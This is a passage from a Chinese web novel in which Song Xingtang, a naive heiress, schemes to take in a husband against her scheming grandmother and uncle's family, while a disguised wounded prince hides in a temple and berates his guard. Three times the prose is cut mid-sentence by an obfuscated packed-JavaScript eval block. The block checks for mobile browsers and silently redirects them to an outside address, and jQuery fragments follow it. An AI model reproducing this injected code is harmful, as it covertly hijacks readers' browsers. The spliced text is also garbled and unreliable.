行至廊下,他忽又顿住脚步,扭过头,意味不明地道:“你们寺门紧闭,让本王如何走正门?” 他并非鸡鸣狗盗之徒,要借宿自然是敲过门的,可惜没人理,这才翻进来。 慧明怔愣片刻,似才想起什么,歉疚地道:“贫僧久不理寺务,险些忘了……每月最末一日,本寺不迎客。” 今日恰好就是三月末。 沈昭予:? 他一脸“你别蒙我”的神情,不可置信道:“那小丫头怎么进来的?” 慧明“哦”了声,轻描淡写:“阿弥陀佛,本寺的十八尊佛像均由宋施主的母亲重塑金身,她自然与旁人不同。” 寺庙也是要吃饭的。 沈昭予:“……” “宋氏手下几百上千号人,哪一个不要吃饭的呀?” “她一个女儿家,脑子又那样笨拙,她会管吗?你说什么?有管家?哎哟哟,那些个管家各个八面玲珑,谁没有自己的小九九?她一个未出阁又心思单纯的女娃,她把得住哪个?不叫人吞吃了才好!将宋氏交到她手里,谁能放心?祖宗的基业都要败光了呀!” 婢女妙莲绘声绘色地模仿早上从老太太院里听来的话。 哐啷一声,秦知许将手里的木盘扔到桌上,叉着腰,冷冷笑道:“祖宗的基业?亏她好意思说出口,我都替她老脸臊得慌。那不是咱们夫人一手经办起来的产业?与他二房有何干系?” “咱们夫人念着亲情,将钱庄生意给他们做,结果呢?一年到头没赚几个钱,也真是晦气。二房自己没什么经营头脑,还总巴望着不属于他们的东西,我呸!” 朝阳透过古朴的轩窗,洒在床侧的雕花围栏上。 宋星糖盘坐在榻上,捧着个前朝流传下来的青瓷碗。 素指捏着雕刻着精致缠枝莲纹的玉勺柄,轻轻搅动,而后低头,小口小口地啜着银耳红枣莲子粥。 她慢慢地喝,专注地喝,耳边丫鬟婆子叽叽喳喳的声音左耳进、右耳出。 直到日头不知不觉地朝她倾斜,阳光落在她脸上。 李嬷嬷偏头,正好看到这样一幅画面—— 少女安静地吞咽,唇畔弯起浅浅的弧度,不管周遭嘈杂纷扰,独享于自己的欢乐之中。光束洒落过来,在她的眼底镀了层金光,她仰起头,惬意地眯了下眼睛。 像一只慵懒又不知愁味的猫。 可这样娇养着的、高贵的猫儿,如今也再不能躲在屋檐下,总要直面外头的暴风雨。 李嬷嬷打从安济寺回来,便心神不宁,生怕宋星糖还惦记着那个招赘的主意。 现在府上有那吸人血的一家人就罢了,回头再从外头招来些居心叵测的豺狼,这可如何是好! 虽说宋星糖想一出是一出又忘一出,但真要执着起来,那事儿也是不容易放弃的,且她真若钻进牛角尖,不将心愿达成,必定誓不罢休。 李嬷嬷不敢直言,生怕给她提醒,只得拐弯抹角地试探:“姑娘啊,你是不是好久没见周二少了?咱邀上周家几位少爷小姐,一起去踏青可好?” 提起周庭柏,秦知许抱怨的声音小了下去,看过来的脸色添了几分不自在。 宋星糖歪着头思忖了会,摇头,“找他作甚,我还忙着呢。” 将碗放下,她擦擦嘴,弯腰穿鞋下榻。 妙莲好奇:“姑娘忙什么?” 李嬷嬷没来得及阻拦,就见宋星糖站起身,脆生生地说了出来:“招上门的夫婿啊!” 如平地一声雷,在房间里轰然作响。 这下可彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353177|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是炸开锅了。 “夫婿?什么夫婿?” “大小姐要招赘?!” 李嬷嬷急得脱口而出:“那姑娘更要找二少爷了!他自小同姑娘一起长大,再合适不过!” 秦知许脸色大变,又听宋星糖想也没想就拒绝道:“周庭柏?不选他。” 秦知许一颗心起起落落,攥紧了帕子,声音发紧,“为何不选他?” 宋星糖理所当然道:“他不俊俏。” 远不如那日透过车窗见到的那个骑马的男子好看。 那人的面容在记忆中已经渐渐模糊,但依旧不妨碍宋星糖欢喜,她想起这事,双手捧脸,眼里闪着星星,笑得像朵花。 “选俊俏的,要美男!” 众人:“……” 李嬷嬷哭笑不得:“您方才不是还说要挑一个能对上下句的?” 宋星糖眨眼,理直气壮道:“对呀,可长得不好看,我都不会问他下句呀。” 李嬷嬷:“……” 合着还有一道隐形的门槛在前头呢。 但招赘这件事到底不靠谱。 且不说自古书生多薄幸,肚里有文墨也不代表人是好的。 就算外貌上设下门槛,加大了入选的难度,可长相俊俏又通诗书的,不正是“风流才子”?那更是不行了! 李嬷嬷语重心长地劝阻,“男子皆是薄情人,知人知面不知心,与其闭眼瞎碰,不如看看那知根知底的,眼前的人?” 屋中一众丫鬟婆子都面面相觑不知说什么好,唯有秦知许忽然站了出来。 她弯着眉眼,在宋星糖身侧落座,“姑娘,我觉着你这主意是极好的。” 宋星糖立马来了精神,激动道:“果真?阿许,你聪明,你也觉得此计可行?” 秦知许微笑,“那是自然。” 宋星糖晃她胳膊,“那你可一定得帮我!” 宋星糖难得全凭自己的头脑做一回主,难得有个人这样支持她,她岂能不放开了手脚干? 可她手里到底没有实权,况且,莫说是操办婚事的流程她一概不懂,便是家里的红蜡烛红灯笼该叫谁去采买她都不知道,还有就是,要怎么招这个婿呢? 秦知许捂着唇笑道:“这个简单,去问我哥就是了。” 府内大小事务全凭秦管家做主,秦知许只要将宋星糖的意思传达到,还愁没人管这事? 宋星糖不住点头,“我这就去找秦大哥!” 李嬷嬷一看自家主子那兴致勃勃的劲儿,又看向她身侧嘴角噙着微笑,同她一副姐俩好的秦知许,默默无言半晌,“也好,还是先问过大管家的意思,再做决断吧。” 自从秦知期几次三番没有偏帮宋星糖以后,李嬷嬷总觉得秦管家的立场变得不那么坚定。 秦管家是由李柔一手提拔至如今地位,如今李夫人故去,秦知期心里究竟还有多少对旧主的真心,李嬷嬷是愈发地没信心了。 一行人往外走,正巧前院有丫鬟来回话,说周府的二少爷到了,正在门口同秦管家说话。 两个小姑娘纷纷眼睛一亮,宋星糖是为着她那个招赘的好点子终于有人给做主而高兴。 秦知许却是脸上泛起了少女的娇羞,她抬手捋了捋头发,矜持又端庄地朝外走,走了几步,又觉焦急,渐渐加快步子。 到前院,听得喧闹非常。 竟是有人打起来了! 5. 第 5 章 【5】 原来是那张家人昨日回去后,左思右想觉得这是一门好亲事,打定主意要抓牢。 张母惦记着宋星糖的嫁妆,而张书生则看上了宋星糖的人。母子二人都急着要定下,今日便请了媒婆上门说亲,正巧碰上周家人也来拜访。 宋、周两家的势力,几乎占了越州城的大壁江山,按生意的规模,自是周家更胜一筹,然而宋家管着丝绸生意,手下有织造局,每年都要向宫里进贡高级的丝织品,算是皇商,在地位上又高周氏一头。 两家人自李柔当家时便走动得勤,又因各自生意互不干涉,利益上互不侵犯,是以这十几年来,两家人愈发亲近。 周庭柏随父亲北上经商两月有余,昨日半夜才回来,一早听说钱氏逼嫁,气得早饭都没吃就往宋家赶。 宋星糖到时,周庭柏正指着张家人的鼻子骂。 “枉你还是个读书人,竟也做这癞蛤蟆吃天鹅肉的美梦。” 张书生自诩是清流读书人,哪里见过这样的市井无赖,一时间被人骂得脖子和脸通红一片。 张母一拍大腿,当即坐在地上,扯着嗓子哭嚎:“说要报我家的恩,竟叫来这么个混小子羞辱我儿,有钱了不起啊……” “有钱当然了不起。”周庭柏冷笑,“也不撒泡尿照照,自己喝西北风就罢了,还要骗星糖妹妹也去吃苦,呸!” “还早晚考上功名?我看你面相,一辈子都没官命,星糖妹妹就是嫁人,也不嫁给你这个窝囊废!不嫁个皇子王爷,也要嫁个一方首富才是!” 说着,周庭柏的声音弱了下去,心虚地瞥了一眼身后的少女。 对上她含笑惊叹的目光,心里似喝了碗蜜一般甜,他读出了宋星糖那双眼睛,耳边似乎响起她清脆又活泼的声音——周二哥好口才,真厉害! 周庭柏一时间底气倍增,骂得更起劲。 二房人顾及周氏财权,不敢明面上辩驳,张母也不是好惹的,她骤然起身,一头朝周庭柏撞去,“杀千刀的,我跟你拼了——” 一众人厮打在一处,彻底乱套了。 慌乱中,不知是谁撞倒了竖在墙根的脚梯。 那梯子足有一丈高,就这么直挺挺地砸了下来。 “啊——!!大小姐!!” “快,叫大夫来!!” …… “我真的不疼,阿许你别哭了。”宋星糖没想到自己受了伤,却还要劝解别人,“我一点感觉都没有啊。” 她将衣裳往下褪,露出大片背脊。 屋中气息蓦地凝滞。 宋星糖想着,自己没察觉出痛来,背后必定是毫发无损的,那梯子也就看着吓人,其实就是个纸老虎。 哪知秦知许哭得更凶了。 原本该是白皙嫩滑如绸缎的后背,此刻一大片红肿,伤处隐隐发紫,触目惊心,狰狞可怖。 秦知许眼泪扑簌簌往下掉,“都怪我,都怪我。” 她当时站在旁边,明明看到梯子倒下,却下意识只自己躲开,没想着拉宋星糖一把…… 明知道宋星糖的反应慢于常人,明明自己能反应过来躲开了。 被旁人用怀疑与责怨的目光看着,秦知许实在羞愧,忍不住捂脸哭起来。 宋星糖急得鼻尖上沾了汗珠,“真不疼,不信,我滚两圈你看!” “快拉姑娘起来!” 屋里的声音传到院中,两个男人皆沉默不语。 他们都知道,自从宋星糖幼年那场变故后,她的五感就变得格外迟钝。 学东西变慢,思考变慢,有时同她说话,半晌她才有反应,这些倒都还是其次,她的痛感钝于常人,这才是最糟糕的事。 一般人受伤了会疼,疼了下次就会躲开,可是宋星糖不会。她对疼痛的忍耐与承受能力,都高于常人百倍,是以“受伤”这事,她并不觉得可怕。 她能察觉到危险,可遇到危险时,却并不畏惧,甚至会好奇。 可人到底都是血肉之躯,若学不会躲避,难保不会受苦,甚至为之送命。 没有外人在场,周庭柏收了那副泼皮无赖的面容,语气阴沉:“秦管家,这宋府,你已经说了不算了吗?” 因他没拦着钱老夫人胡闹,又因他冷眼看着旁人作践宋星糖却沉默不语,所以周庭柏质问他。 秦知期道:“自然还是在下说了算的,只不过……” 顿了顿,意味深长:“秦某终究不是主子,来日宋府换了新主,秦某还是要为宋府卖命的。” 周庭柏冷眼睨他,一阵见血:“你不认星糖妹妹做主子。” 秦知期摇头,坦诚道:“大小姐永远是秦某的主子,但却不是整个宋家的主子。” 家族事务繁琐无比,生意场上更是尔虞我诈。凭宋星糖的资质,恐难料理偌大的摊子。 眼下宋府前途未卜,状况不明,可日子得往下过,总要有新的主人来掌管宋府,秦知期自然不敢妄动。 周庭柏道:“所以你不与老夫人做无谓之争,只等我回来,便立刻把我叫了来。” “二公子与我们大小姐情同手足,必不会冷眼旁观。” 秦知期很清楚,在这越州城中,能与宋氏对抗的,唯有一个周氏。 秦知期想试探周庭柏对宋星糖有几分真心,更要试探周氏有无吞并宋氏、趁火打劫的意思。 “秦管家真是好算计,局势未明,自己不肯罪二房,留有后路。”周庭柏有了恼意,斥道,“左右逢源,坐山观虎斗,这就是秦管家的衷心吗!” “良禽择木而栖,秦某要守护夫人留下的基业,自然要慎重为整个宋府再选一块好木头。” 那张书生自然是一块朽木,可大小姐总要嫁人,若真有一日大房无人可继,落到那钱氏与二房手中,他总要争取一定的主动权,将夫人最看重的东西守护好。 “况且家人总归是家人,秦某一个外人,又该何去何从?” “……” 大夫打屋中出来,李嬷嬷送人往外。 二人并不友善的谈话到此为止。 周庭柏追着郎中出去,远远的,秦知期还能听到他絮絮叨叨的声音—— “伤势如何?可有什么需要注意的?是不是得忌口,毕竟肿起来了,要少食发物吧?” - “伤口颇深,且失血过多,贵客除却每日三次的内服与外用伤药外,还可酌情进补一二,也好早日恢复元气。” 沈昭予懒洋洋倚靠着卧榻,看着江行一条一条仔细记下,又目送江行送郎中出门。 等江行再回来,一抬头就对上自家主子的一瞥。 那是江行十分熟悉的嫌弃的神情。 在殿下眼中,世间大多数人脑子都不好使,而殿下最不喜欢和脑子不好的人说话。 果然,下一刻,听得刻薄的一声—— “啧,废物。” 江行臊得脸红,“……属下惭愧。” “若他有杀意,你已是死尸一条,是该惭愧。” 江行汗流浃背,“属下再回去练练。” 久没等到下句,他悄悄抬头,大着胆子往床榻方向看了一眼。 只见男人屈膝而卧,斜靠在榻上,雪白素衣垂在身下,半遮半露之间,胸腹的肌理紧实虬劲,轮廓分明。 他一手把玩着佛珠串,一手支颐,眉眼微微下压,目光垂向地面,狭长的凤眸愈显冷漠锋利,神色寡淡凉薄,似在思索什么人生大事一般凝重。 殿下此刻倒是褪下了假面,用的是自己真容。 “属下业已查清,于城外埋伏却反被您截杀的,是婺州司马的女婿,名唤赵知庄。” “属下记得,您凌晨出发时用的同方才不是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353178|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张面容,”江行没忍住好奇问道,“您既然已将那赵知庄杀了,为何还要再改头换面?” 沈昭予瞥他一眼,慢悠悠道:“慎终如始,则无败事。”① 既然顶着张脸被人撞破过真本事,不管身份是否败露,保险起见,他都得换一个。 不过他的耐心显然有限,尤其是还负了伤。虽换了一张脸,但仓促间没用心思塑造,简简单单弄了个同原本有三分相似的脸。 “也不知那老和尚怎么认出来的。”沈昭予烦躁地“啧”了一声,垂着眼皮,默默反省自己。 不矜细行,终累大德。② 往后还是得小心一些,不可再犯同样的失误。 “还有件事属下百思不得其解,此地去婺州往西南行三百九十里,去杭州往北行一百四十里,方向上南辕北辙。” “咱们去杭州查案,何以那婺州司马派人来越州城外截杀?难不成贪腐案里,婺州也牵扯进去了?还有还有,属下听说昨儿封城半日,是州府下的令,就连街上卖馄饨的娘子都知道殿下您要来,咱们这一路行程都捂得严实,怎么一到江南,一个两个全知道了您的行踪?这里头肯定有古怪!” 江行絮絮叨叨半晌,没听到回音。 房中寂静得可怕。 许久,忽听男子冷笑一声:“你问本王,是要本王去把那赵知庄的尸体挖出来问给你看?” 江行脸色涨得通红,“……属下这就去查!” 说罢扭头就要走。 “回来。” 江行丝滑地转身。 沈昭予眉眼淡淡,五指一张,将佛珠串戴到腕上。 他百无聊赖地拨弄着,“有一点你说错了,赵知庄的目标并非本王。” “可您奉旨追查杭州贪腐一案,此事朝野皆知啊,江南必定早得了消息。” “各派系盘根错节,兹事体大,上千万两的数目,确实值得他们铤而走险,将本王弄死,”沈昭予懒洋洋地,“但本王今日别着伪造的玉牌。” 江行猛地怔住,看向桌上那块刻着“大理寺”的腰牌。 沈昭予勾了下唇角,“况且若要对付本王,岂会单枪匹马设伏?” 他微抬眼皮,眼神中露出一丝轻狂自负,“世人皆知本王的能耐,一个小喽啰就想杀本王,简直是痴人说梦。” 江行看了一眼主子身上的伤口,识趣地默默闭紧嘴巴。 “他们应是为着另一桩案子,而那案子的主审人,是大理寺。”沈昭予嗓音冷飕飕的,“本王这是替人挡刀了。” 江行缩了缩脖子。 “对了,你方才说赵知庄是何人?” “婺州司马史敬的赘婿。”江行道,“是史敬女儿的第二任丈夫,前任就是替他做脏事被人寻仇至死的。” “赘婿……”沈昭予眉头皱得能夹死一只苍蝇,嫌恶地别开头,仿佛提一句就脏了嘴,“难怪不敢同本王真刀真枪地干上一场,只会暗地里伤人,净使些上不得台面的下作手段。那卑鄙小人临死时还跪地求饶,痛哭流涕地求本王放了他,可见是个软骨头,本王真是见不得这些个吃软饭的狗东西。” 江行默默擦汗,干笑两声,他家殿下就是这般,一生争强好胜,最讨厌蠢的、立不起来的人。 这些正事,他家殿下似乎心中早有成算,并不像是苦恼的样子。 江行纳闷:“殿下,这些您都不忧虑,那您方才在想什么?” 表情那般严肃。 沈昭予拨弄佛珠的手指一顿。 江行屏息静气。 沈昭予抬眼望来,目露迟疑。 江行挺直背脊,洗耳恭听。 “你说……” “嗯嗯!” “要把整座寺庙的佛像金身都重塑一遍,”沈昭予满脸疑惑与好奇,“得多少钱?” 江行:“……” 6. 第 6 章 【6】 “花不了多少银钱。”秦知期一边拨弄算盘,一边道,“但若招来歹人,损失就不知几何了。” 宋星糖看了几遍算盘,实在看不懂,被那噼里啪啦的声音吵得头晕,干脆搬个凳子坐在旁边,“秦大哥,你就说我的钱够不够办一次喜事的?” 秦知期拨了下算盘,抬眼看她,“绰绰有余。” 宋星糖眼前一亮,拍板道:“那就好啦!办!速办!” 秦知期不动,一言不发地盯着面前那张计算花销的纸看,墨迹还未干,他将纸放到了烛火上,烧了。 宋星糖诧异地睁大眼,眨巴了下,不理解其意。她扭过头,求助般看向身侧的秦知许,当着人面议论也不知压低声音,“你知道你哥在想什么吗?” 秦知许深思半晌,不确定道:“……可能,不同意吧?” 宋星糖一听就摇头,“不行不行,不能不同意。” “我不同意,大小姐又当如何?” 二人循声望去,只见秦知期不知何时已处理好了灰烬,面色难辨地看过来。 宋星糖咧嘴一笑,“秦大哥若不帮我,那我只得自己再想办法了,总之这事我一定要办成。” 秦知期从未听过她这般豪言壮语,掩下眼底的笑意,故作严肃道:“哦?你还有何法子?” “说出来叫你知道,不就更办不成了吗?” 秦知期愣了下,别过头去轻轻笑着。 他叹了声,有些欣慰地说道:“是我多虑,大小姐的反抗之心,并非说说而已。” 从前有父母在,宋星糖被人欺负,自己虽毫无察觉,也有底下的人告诉老爷夫人,自有人替她出头,所以她从未尝过“委屈”是何滋味。 从前对上钱氏时,宋星糖从不顶撞,钱氏也披着伪善的面皮,一家人孝顺和睦,秦知期并不知她是否会毫无底线地容忍。 如今无父母庇佑,只靠她一人,自然无法度过难关,但她知道眼下危急难过,还知道找人帮忙,就不算呆蠢愚笨得无药可救。 秦知期问道:“大小姐不怕老夫人斥你忤逆不孝吗?” 宋星糖答得毫不犹豫:“虽然爹爹总教我要孝敬长辈,但我也不能因此就怕了祖母。” 若她怯懦,阿娘就会被人从她的记忆里彻底赶出去。 秦知期点点头,放下心来。 “大小姐所需一应物件,明日便会齐备。” “另外招赘一事还需从长计议,对于到场的人首先就要层层把关,以防有歹人浑水摸鱼。选中之人,需过我的眼。” “老夫人打算携二房赴刺史府的赏花宴,到时候帮大少爷结交权贵,替二小姐相看人家,少不得要多留两日,大小姐想要做什么都可趁那几天。” 宋星糖没想到这么顺利就得到了秦知期的首肯,一时间开心不已。 秦知期既决定帮忙,便不得不操心起来,但他一向缺少耐心,语速极快地说完大婚的流程及注意事项后,对上少女茫然的眼睛,蓦地如鲠在喉。 明明是早该谈婚论嫁的年纪,那双如清泉的眼睛却仿若稚子一般,干净、单纯,黑瞳里泛着星光点点,倒映着这满是污浊的世界。 秦知期垂下手,无奈地道:“罢了,大小姐只需记得,此事要瞒着二房。” 宋星糖听得昏头转向,点头应允。 待到次日,宋星糖蹑手蹑脚,神色鬼祟行走在府中。 秦知许瞧她一副做贼的模样,就知她定是将兄长那句“防着二房”给记在心上了。 “姑娘,你自然一些,这样别人一瞧就是心里有鬼!” 宋星糖立马直起腰背,可下一刻便同手同脚。 “阿许,等会给祖母请安,你就贴着我站,若我不小心说错什么话,你就捅我一下。” 小姑娘紧张兮兮地环顾四周,警惕道:“秦大哥只交代了这一项任务,我可千万不能办砸了!” 从前跟着秦知期学做生意,把他气个够呛,后来很长一段时间都对她避之不及。 如今终于又派任务给她,得争气些。 “放心吧姑娘,到时候你就请安问好,其他的一概不理就是。” 反正她平时在长辈面前就是这般木讷,无人会因此觉得奇怪。 二人穿过游廊,路过垂花门时,远远见到几个小厮攀在梯子上,去摘挂在树上的白灯笼。 秦知许眉头拧紧,冲到跟前,斥道:“谁叫你们乱动的?!” 小厮原本懒得搭理,斜着眼睛一回头,看到宋星糖,狂妄的神色稍敛,但口气依旧不太客气,“老夫人有命,小的们也只是照办罢了,还望大小姐莫要为难。” 大夫人李柔的丧期才过三个月,府上那些丧事的布置就被老夫人以各种借口一样一样地撤下,如今府上就只剩下这些白灯笼。 “夫人才走,你们就反了天了?敢这样同大小姐讲话!” 小厮哼笑两声,大小姐又能如何?谁不知大小姐最是和善宽容,从不跟底下人计较。 秦知许气不过,打算上去理论,余光瞥见宋星糖远去的背影,“哎”了声。对上小厮得意的笑,只得跺了跺脚,愤愤追上去。 到了紫棠院,又见到张氏来做客,今日那张书生不在,只张母并一个老妇。 宋星糖认出来,那老妇是上门说亲的媒婆。她站在门口,有些排斥进去。 二婶眼尖见她来,走过去将人拉进屋里。 也不知怎的,宋星糖觉得今日二婶的态度比往日要和煦不少,对着她扬着僵硬又难看的笑脸,周身散发着腐朽的味道,是和祖母一样的味道,让人毛骨悚然。 宋星糖谨记任务,规规矩矩行礼后便退到一边,再不言语。她放空大脑,双目无神,听着在场妇人们交谈。 钱氏先开口:“待亲事定下,就让她将她母亲留下来的对牌和私库钥匙交出来,那时亲家若看上了什么,尽管拿去,权当我宋家的心意。” 张母迟疑,“那这嫁妆……” “你放心,那都是另算的,不算嫁妆。”二婶笑道,“大嫂私下给这孩子不少呢,都由她自己存着,就在安济寺里。” 宋星糖大脑空白,慢慢瞪大了眼睛。 “这孩子心思太单纯,那么多财宝怎能放在外头?要我说还是家里安全,不过这也无所谓,反正她也是要跟你们嫁到婺州老家去的,到时候顺路去挑些带上就是。” 宋星糖的手臂一沉,侧头看去,原来是秦知许紧紧抓住了自己。 阿许惨白着脸,“姑、姑娘,怎么办……” 宋星糖见她急得快哭了,脑子还木木的有些回不过神来。 堂中妇人们还在继续—— “等贤婿高中,可一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353179|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要帮扶一下我们家洛繁啊。” 媒婆“哎哟”一声,捂嘴笑道:“老夫人言重了,大公子一表人才,智勇双全,将来还要继承这偌大的家产,几年后越过那周氏,成为咱们越州第一首富也不在话下,只有旁人巴结你们的份,哪还需要旁人帮扶?” 钱氏摆摆手,含蓄笑道:“终归是商人,能有多大的出息?” 她拉过张母的手,殷切叮嘱:“比不过你们家,年纪轻轻就考中了秀才,将来可是要入阁拜相的。” 宋星糖眼前发昏,耳边声音嗡嗡作响,开始听不清楚她们的声音。 脑海中只剩一个声音在回荡—— “都由她自己存着呢,就在安济寺里。” 咚——!! 那个清晨,安济寺雄浑低沉的钟声在脑海中敲响。 宋星糖只觉得自己的后脑被人打了一闷棍,她捂着脑袋,蹲了下去。 原来,她暗中做的那些小动作,早就被人看在眼里了。她沾沾自喜的“好办法”,在人眼中都是构不成威胁的小打小闹。 秦知许见她不舒服,忙搀着人出了紫棠院。 主仆俩踉踉跄跄回到自己的小院。 打老远,就看到李嬷嬷手里挥舞着扫帚,将一男一女打了出来,嘴里破口大骂:“哪里来的脏东西,将这儿都熏臭了,快滚!” “你个老婆子别不识好歹!等宋星糖出嫁,我就让祖母把你们都卖到勾栏瓦舍去!”宋洛繁不怀好意地笑了声,斜着眼睛,“不过你这年岁,也卖不动皮肉了,给我磕个头,留你在宋家,给我的心肝浆洗衣服还是使得……哎哟!” 李嬷嬷气得狠了,冲进厨房里拿出一把菜刀,宋洛繁低骂了声,拉着女人狼狈跑了,路过宋星糖时,还不忘冲她挑衅一笑—— “祖母已答应我,待你出嫁,这院子就归我了!” “你娘留下的东西,你一样都拿不走,哈哈哈哈!” 宋星糖仰头望着空空荡荡的院门,眼圈慢慢红了。 家里的白灯笼,全都被摘了。 一滴眼泪就这么从眼眶中掉了出来。 这些日子二房的言语侮辱、宋洛繁的耀武扬威、张氏觊觎的目光、还有祖母势必要将她阿娘与她的一切都驱赶出去的做派…… 后知后觉,在这一瞬间,体内隔绝了情绪的那层纱帐蓦地抽走,万千情绪再无阻隔地汇聚在一起,刺激着她的大脑,积攒了好几日的委屈与愤怒一齐发作。 原来她也是能感觉到痛的,只是这些痛都来得太迟,慢慢地积少成多,最后剧烈发作。 宋星糖用力抓紧心口的衣襟,攥得皱皱巴巴,她低下头,吸了吸鼻子。 “嬷嬷。” “姑娘莫伤心,老奴——” “把白灯笼都挂回去。” 李嬷嬷愣了下,鼻子也是一酸,“哎!” 小姑娘眼角红红的,咬着牙,自认凶狠道:“谁再让摘,就放大黄去咬他!还有大白小黑,全都拉出来!” 李嬷嬷破涕为笑,连声哄道:“都依姑娘的,放狗咬他们。” 宋星糖转回头,看向因她难得强势而错愕不已的秦知许。 “阿许,我不要长相俊俏的了。我要找一个凶悍强势,说话难听,吵架能赢的夫君。” 气死他们! 秦知许:“……” 7. 第 7 章 【7】 夜半子时,禅房中。 江行披着一身寒露,轻飘飘跪地,抱拳禀报: “大理寺近日在追查一宗杀人案,事发地在婺州,所以动手截杀“大理寺官员”的是赵知庄,与杭州那边关系不大。” “殿下失踪的消息当日就传入京城,可咱们派出去的密使还未抵京,这分明是杭州那边在搞鬼。现在朝中有人撺掇陛下派人来寻您,还上书请奏另择钦差去查案,显然是不想让您继续查。” “杭州已得了消息,知道您并未入越州城,正在四处搜寻您的下落。他们虽不知您已与人交过手,但想必做好了让您有来无回的准备,只待您露头,就……” 这江南一带真是龙潭虎穴啊,陛下怎么就派了他们王爷来办这苦差事呢。 屋里愈发寂静,江行冷汗直冒,硬着头皮继续道: “殿下伤势未愈,此地富庶,鱼龙混杂,是藏身养伤的好地方,况且外头的人都以为您绕过越州,往北去了,您不如趁势沉寂下来暂且修养,韬光养晦,让属下等替您去探探路。正好趁着这段日子,看看朝中与杭州勾结的人推荐了谁南下,兴许还有意外之获。” 江行苦口婆心,说得口都干了,抬眸只见榻上人平躺着,手臂搭在额头上,一动不动。 半晌,终于得了主子的一句懒洋洋的回应—— “本王乏了,明日再议。” “……” 江行无声起身,正欲退去。 忽听男人又问:“寺中可有异动?” 江行回头,只见殿下不知何时翻身朝向了他,凤眸微挑,眼风凌厉,哪有半分疲态。 江行有一种幼时被夫子抽考背诗文的窘迫和恐慌感。 他掐了下大腿,终于记起来:“您让我熟悉一下寺庙地形,并探查居于此地的香客背景,属下查到了那位宋姑娘——” 憋了半天,想出来两个字,“藏宝……的房间,果然在方才险些被贼人闯入。” 最初发现那一屋子珍宝时,江行吓得当即就退了出去,以为眼花,关了门再打开又确认了一遍。 重新开门,还是一样的画面,满眼金灿灿,闪得人心慌。 当时不知是哪个小财迷能做出这种事来,竟大胆到将那能闪瞎人眼的奇珍异宝藏在寺庙里,甚至就这么大大咧咧摆在床上。 说与殿下听时,殿下似乎想到什么,脸色当即就黑了,没头没脑地交代他盯着那间屋子。 江行也觉得那屋子早晚得碰上偷窃的人。 果不其然,当晚就招了贼。 “那人看穿着挺富贵的,鬼鬼祟祟要推门,我将人踢开,质问他为何要私闯。那贼人一口咬定是他的房间,说里头东西都是他的。我哪能让他进去?我也说是我的房间,说他要行窃,还要带他去报官,他禁不住对峙,心虚跑了。” 江行拍着胸脯保证:“您放心,属下那一脚准得让他疼上几天,他定吓坏了,没胆子再——” 沈昭予忽然弯唇笑了下,温柔地打断道:“怎么你在本王麾下十年,还是这么天真单纯,让人怜爱得手心都痒了。” 江行打了个冷颤,蓦地生出不好的预感。 “原来一只饿了几日的雀儿,远远看到一捧金黄麦谷,竟甘愿让给另一只路过的鸟。只因路过的鸟更健硕,它便连落下来的勇气都没有,连尝试都不曾。” “路过的鸟吓跑了饥饿的掠夺者,便拍拍翅膀,放心大胆地又飞回高空。至于那雀儿,宁愿饿死,也不会再回去看一看。” “这个故事告诉我们,只要自身条件足够强悍,就无惧一切威胁,只要吓一吓来犯者,便可高枕无忧。”沈昭予恍然大悟,“原来本王的拳头还是不够硬,不然那些阴沟里的臭虫们怎么总来烦扰?本王今日也算学到了新东西,谢谢你江行,告诉了本王还是一只小弱鸟。” 原来只是一脚的震撼,就足够抗衡人心底难以填满的物欲。 人不为财死。 鸟不为食亡。 贼乐意走空。 人性至善呐。 大善! 江行哆嗦着跪下,羞愧难当,“殿下息怒,属下又犯蠢了。” 沈昭予道:“虽然你与那小姑娘一样,说话做事处处是漏洞,比那米筛的洞还多,但本王宽宏大量,不会因为你是个笨蛋就生气。” “那位大小姐兴许是有特殊的癖好,就喜欢将自己宝贝的财物都丢在大街上,乐意给路过的人看,巴不得人人都摸上一把、顺走一件,她才开心。” “谁会这么傻啊,”江行抠着手指,小声嘟囔,“而且人家也没有随地乱丢……” “是啊,谁会那么傻呢?所以都说了是癖好。她只不过是很慎重地挑了一间没有锁的、一推就能进的屋子,很谨慎地没有派一个人把守,很认真地铺了满床,并且没有设置一个陷阱。”沈昭予撑着额头,淡淡道,“区区能将几个安济寺重塑金身的财产而已,都是小钱,扔街上都没人捡。” 江行:“……” 他们这位爷的嘴巴毒得,自己舔一口都能原地去世。 江行看到主子撑着脑袋的手青筋直冒,身后仿佛弥漫着冲天怨气,意识到他并非如自己说的那么平静似水。 作为一个事事争强、样样拔尖的事业狂魔,是决不能接受一个满是疏漏的计划摆在他面前的。 